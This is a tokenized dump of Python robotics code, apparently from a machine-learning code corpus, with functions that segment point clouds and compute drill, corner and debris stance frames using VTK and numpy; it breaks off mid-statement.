",_", "scale_", "=_", "0.2_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "get", "Dri", "ll", "Aff", "orda", "nce", "Params_", "(_", "np_", "._", "array_", "(_", "drill", "Transform_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "[_", "1_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "1_", "]_", ",_", "drill", "Type_", "=_", "\"", "dew", "alt", "\\u", "button", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Dri", "ll", "In", "Hand_", "(_", "p1_", ",_", "p2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "distance", "To", "Line", "Threshold_", "=_", "0.05_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", "=_", "label", "Distan", "ce", "To", "Line_", "(_", "poly", "Data_", ",_", "p1_", ",_", "p2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "distance", "\\u", "to", "\\u", "line", "'_", ",_", "[_", "0.0_", ",_", "distance", "To", "Line", "Threshold_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "line", "Segment_", "=_", "p2_", "-_", "p1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line", "Length_", "=_", "np_", "._", "linalg_", "._", "norm_", "(_", "line", "Segment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cropped", "_", ",_", "poly", "Data_", "=_", "crop", "To", "Plane_", "(_", "poly", "Data_", ",_", "p1_", ",_", "line", "Segment_", "/_", "line", "Length_", ",_", "[_", "-_", "0.03_", ",_", "line", "Length_", "+_", "0.03_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "update", "Poly", "Data_", "(_", "cropped", "_", ",_", "'", "drill", " ", "cluster", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Points_", "=_", "cropped", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "normal_", "=_", "line", "Segment_", "/_", "line", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "centroids_", "=_", "compute", "Centro", "ids_", "(_", "drill", "Points_", ",_", "axis_", "=_", "normal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "centroid", "s", "Poly", "Data_", "=_", "vtk", "Num", "py_", "._", "get", "Vt", "k", "Poly", "Data", "Fro", "m", "Num", "py", "Points_", "(_", "centroids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "Deb", "ug", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "centroid", "s", "Poly", "Data_", ",_", "'", "cluster", " ", "centroid", "s", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "To", "Top", "Point_", "=_", "np_", "._", "array_", "(_", "[_", "-_", "0.002", "904", "_", ",_", "-_", "0.010", "029", "_", ",_", "0.15", "318", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "za", "xis_", "=_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "centroids_", "[_", "0_", "]_", "-_", "centroids_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "-_", "drill", "To", "Top", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "p2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Mesh_", "=_", "get", "Dri", "ll", "Mesh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "_", "=_", "show", "Poly", "Data_", "(_", "drill", "Mesh_", ",_", "'", "drill", "'_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "Frame_", "(_", "t_", ",_", "'", "drill", " ", "frame", "'_", ",_", "parent_", "=_", "aff", "_", ",_", "visible_", "=_", "False_", ")_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "get", "Dri", "ll", "Aff", "orda", "nce", "Params_", "(_", "np_", "._", "array_", "(_", "t_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Corner", "Frame_", "(_", "aff", "_", ",_", "reference", "Frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ref", "Axis_", "=_", "[_", "0.0_", ",_", "-_", "1.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference", "Frame_", "._", "Transform", "Vector_", "(_", "ref", "Axis_", ",_", "ref", "Axis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ref", "Axis_", "=_", "np_", "._", "array_", "(_", "ref", "Axis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "axes_", "=_", "[_", "np_", "._", "array_", "(_", "aff", "_", "._", "params_", "[_", "axis_", "]_", ")_", "for_", "axis_", "in_", "[_", "'", "xaxis", "'_", ",_", "'", "yax", "is", "'_", ",_", "'", "za", "xis", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Length", "s_", "=_", "[_", "edge", "Length_", "for_", "edge", "Length_", "in_", "[_", "'", "xw", "idt", "h", "'_", ",_", "'", "yw", "idt", "h", "'_", ",_", "'", "zw", "idt", "h", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "axis", "Projection", "s_", "=_", "np_", "._", "array_", "(_", "[_", "np_", "._", "abs_", "(_", "np_", "._", "dot_", "(_", "axis_", ",_", "ref", "Axis_", ")_", ")_", "for_", "axis_", "in_", "axes_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "board", "Axis_", "=_", "axes_", "[_", "axis", "Projection", "s_", "._", "argmax_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "np_", "._", "dot_", "(_", "board", "Axis_", ",_", "ref", "Axis_", ")_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "board", "Axis_", "=_", "-_", "board", "Axis_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "long", "Axis_", "=_", "axes_", "[_", "np_", "._", "argmax_", "(_", "edge", "Length", "s_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xaxis_", "=_", "board", "Axis_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "axes_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "np_", "._", "cross_", "(_", "xaxis_", ",_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "closest", "Corner", "_", "=_", "compute", "Closes", "t", "Corner", "_", "(_", "aff", "_", ",_", "reference", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "corn", "er", "Frame_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "corn", "er", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "corn", "er", "Frame_", "._", "Translate", "_", "(_", "closest", "Corner", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "corn", "er", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Deb", "ris", "Stan", "ce", "Frame_", "(_", "aff", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "ris", "Reference", "Frame_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "deb", "ris", " ", "reference", " ", "frame", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deb", "ris", "Wall", "Edge_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "deb", "ris", " ", "plane", " ", "edge", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "deb", "ris", "Reference", "Frame_", "and_", "deb", "ris", "Wall", "Edge_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "ris", "Reference", "Frame_", "=_", "deb", "ris", "Reference", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "Gro", "und", "Frame_", "=_", "compute", "Gro", "und", "Frame_", "(_", "aff", "_", ",_", "deb", "ris", "Reference", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "update", "Frame_", "(_", "aff", "Gro", "und", "Frame_", ",_", "'", "board", " ", "ground", " ", "frame", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "Wall", "Edge_", "=_", "compute", "Gro", "und", "Frame_", "(_", "aff", "_", ",_", "deb", "ris", "Reference", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frame", "Pos_", "=_", "np_", "._", "array_", "(_", "aff", "Gro", "und", "Frame_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p1_", ",_", "p2_", "=_", "deb", "ris", "Wall", "Edge_", "._", "points_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Axis_", "=_", "p2_", "-_", "p1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Axis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge", "Axis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "projected", "Pos_", "=_", "p1_", "+_", "edge", "Axis_", "*_", "np_", "._", "dot_", "(_", "frame", "Pos_", "-_", "p1_", ",_", "edge", "Axis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "Wall", "Frame_", "=_", "vtk_", "._", "vtk", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "Wall", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "use", "Wall", "Frame", "For", "Rotation_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "use", "Wall", "Frame", "For", "Rotation_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "aff", "Wall", "Frame_", "._", "Set", "Matrix_", "(_", "deb", "ris", "Reference", "Frame_", "._", "Get", "Matrix_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "Wall", "Frame_", "._", "Translate", "_", "(_", "projected", "Pos_", "-_", "np_", "._", "array_", "(_", "deb", "ris", "Reference", "Frame_", "._", "Get", "Position_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Width_", "=_", "0.20", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Off", "set", "X_", "=_", "-_", "0.35_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Off", "set", "Y_", "=_", "0.45_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Rotation_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "aff", "Wall", "Frame_", "._", "Set", "Matrix_", "(_", "aff", "Gro", "und", "Frame_", "._", "Get", "Matrix_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "Wall", "Frame_", "._", "Translate", "_", "(_", "projected", "Pos_", "-_", "frame", "Pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Width_", "=_", "0.20", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Off", "set", "X_", "=_", "-_", "0.35_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Off", "set", "Y_", "=_", "-_", "0.45_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Rotation_", "=_", "math_", "._", "pi_", "/_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stance", "Frame_", ",_", "\\u_", ",_", "\\u_", "=_", "get", "Foot", "Frame", "s", "Fro", "m", "Reference", "Frame_", "(_", "aff", "Wall", "Frame_", ",_", "stance", "Width_", ",_", "math_", "._", "degrees_", "(_", "stance", "Rotation_", ")_", ",_", "[_", "stance", "Off", "set", "X_", ",_", "stance", "Off", "set", "Y_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "stance", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "zoom", "To", "Display", "Point_", "(_", "display", "Point_", ",_", "bound", "s", "Radius_", "=_", "0.5_", ",_", "view_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "picked", "Point_", "=_", "pick", "Point_", "(_", "display", "Point_", ",_", "get", "Segmentation", "View_", "(_", ")_", ",_", "obj_", "=_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "picked", "Point_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "view_", "=_", "view_", "or_", "app_", "._", "get", "Curr", "ent", "Render", "View_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "world", "Pt", "1_", ",_", "world", "Pt", "2_", "=_", "get", "Ray", "Fro", "m", "Display", "Point_", "(_", "get", "Segmentation", "View_", "(_", ")_", ",_", "display", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diagonal_", "=_", "np_", "._", "array_", "(_", "[_", "bound", "s", "Radius_", ",_", "bound", "s", "Radius_", ",_", "bound", "s", "Radius_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bounds_", "=_", "np_", "._", "hstack_", "(_", "[_", "picked", "Point_", "-_", "diagonal_", ",_", "picked", "Point_", "+_", "diagonal_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bounds_", "=_", "[_", "bounds_", "[_", "0_", "]_", ",_", "bounds_", "[_", "3_", "]_", ",_", "bounds_", "[_", "1_", "]_", ",_", "bounds_", "[_", "4_", "]_", ",_", "bounds_", "[_", "2_", "]_", ",_", "bounds_", "[_", "5_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view_", "._", "renderer_", "(_", ")_", "._", "Reset", "Camera_", "(_", "bounds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view_", "._", "camera_", "(_", ")_", "._", "Set", "Foc", "al", "Point_", "(_", "picked", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Far", "Rig", "ht", "Corner", "_", "(_", "poly", "Data_", ",_", "link", "Frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "With", "in", " ", "a", " ", "point", " ", "cloud", " ", "find", " ", "the", " ", "point", " ", "to", " ", "the", " ", "far", " ", "right", " ", "from", " ", "the", " ", "link", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "input", " ", "is", " ", "the", " ", "4", " ", "corners", " ", "of", " ", "a", " ", "minim", "um", " ", "bound", "ing", " ", "box", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diagonal", "Transform_", "=_", "transform", "Utils_", "._", "copy", "Frame_", "(_", "link", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diagonal", "Transform_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diagonal", "Transform_", "._", "Concat", "enat", "e_", "(_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "0_", ",_", "45_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "diagonal", "Transform_", ",_", "'", "diagonal", " ", "frame", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "points_", "=_", "vtk", "Num", "py_", "._", "get", "Num", "py", "Fro", "m", "Vt", "k_", "(_", "poly", "Data_", ",_", "'", "Point", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "Origin_", "=_", "diagonal", "Transform_", "._", "Transform", "Point_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "X_", "=_", "diagonal", "Transform_", "._", "Transform", "Vector_", "(_", "[_", "1.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "Y_", "=_", "diagonal", "Transform_", "._", "Transform", "Vector_", "(_", "[_", "0.0_", ",_", "1.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "Z_", "=_", "diagonal", "Transform_", "._", "Transform", "Vector_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "label", "Point", "Distan", "ce", "Al", "ong", "Axis_", "(_", "poly", "Data_", ",_", "view", "Y_", ",_", "origin_", "=_", "view", "Origin_", ",_", "result", "Array", "Name_", "=_", "'", "distance", "\\u", "along", "\\u", "foot", "\\u", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "update", "Poly", "Data_", "(_", "poly", "Data_", ",_", "'", "corn", "er", "Point", "s", "'_", ",_", "parent_", "=_", "'", "segmentation", "'_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "far", "Rig", "ht", "Index_", "=_", "vtk", "Num", "py_", "._", "get", "Num", "py", "Fro", "m", "Vt", "k_", "(_", "poly", "Data_", ",_", "'", "distance", "\\u", "along", "\\u", "foot", "\\u", "y", "'_", ")_", "._", "argmin_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "=_", "vtk", "Num", "py_", "._", "get", "Num", "py", "Fro", "m", "Vt", "k_", "(_", "poly", "Data_", ",_", "'", "Point", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "points_", "[_", "far", "Rig", "ht", "Index_", ",_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Mini", "mum", "Bound", "ing", "Rectangle_", "(_", "poly", "Data_", ",_", "link", "Frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Fin", "d", " ", "minim", "um", " ", "bound", "ing", " ", "rectangle", " ", "of", " ", "a", " ", "rectangular", " ", "point", " ", "cloud", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "input", " ", "is", " ", "assume", "d", " ", "to", " ", "be", " ", "a", " ", "rectangular", " ", "point", " ", "cloud", " ", "e", ".", "g", ".", " ", "the", " ", "top", " ", "of", " ", "a", " ", "block", " ", "or", " ", "table", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "transform", " ", "of", " ", "far", " ", "right", " ", "corn", "er", " ", "(", "pointi", "ng", " ", "awa", "y", " ", "from", " ", "robot", ")", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Origina", "ll", "y", " ", "Fro", "m", ":", " ", "https", "://", "git", "hub", ".", "com", "/", "db", "worth", "/", "minim", "um", "-", "area", "-", "bound", "ing", "-", "rectangle_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", "=_", "appl", "y", "Vo", "xel", "Grid_", "(_", "poly", "Data_", ",_", "leaf", "Size_", "=_", "0.02_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "2", "DA", "s", "Poly", "Data_", "(_", "xy", "\\u", "points_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Convert", " ", "a", " ", "2", "D", " ", "nump", "y", " ", "array", " ", "to", " ", "a", " ", "3", "D", " ", "poly", "data", " ", "by", " ", "appendi", "ng", " ", "z", "=", "0", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "np_", "._", "vstack_", "(_", "(_", "xy", "\\u", "points_", "._", "T_", ",_", "np_", "._", "zeros_", "(_", "xy", "\\u", "points_", "._", "shape_", "[_", "0_", "]_", ")_", ")_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "=_", "d_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "vtk", "Num", "py_", "._", "get", "Vt", "k", "Poly", "Data", "Fro", "m", "Num", "py", "Points_", "(_", "d2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pts_", "=_", "vtk", "Num", "py_", "._", "get", "Num", "py", "Fro", "m", "Vt", "k_", "(_", "poly", "Data_", ",_", "'", "Point", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xy", "\\u", "points_", "=_", "pts_", "[_", ":_", ",_", "[_", "0_", ",_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Poly", "Data_", "(_", "get", "2", "DA", "s", "Poly", "Data_", "(_", "xy", "\\u", "points_", ")_", ",_", "'", "xy", "\\u", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hull", "\\u", "points_", "=_", "qh", "ull", "\\u", "2d_", "._", "qh", "ull", "2", "D_", "(_", "xy", "\\u", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Poly", "Data_", "(_", "get", "2", "DA", "s", "Poly", "Data_", 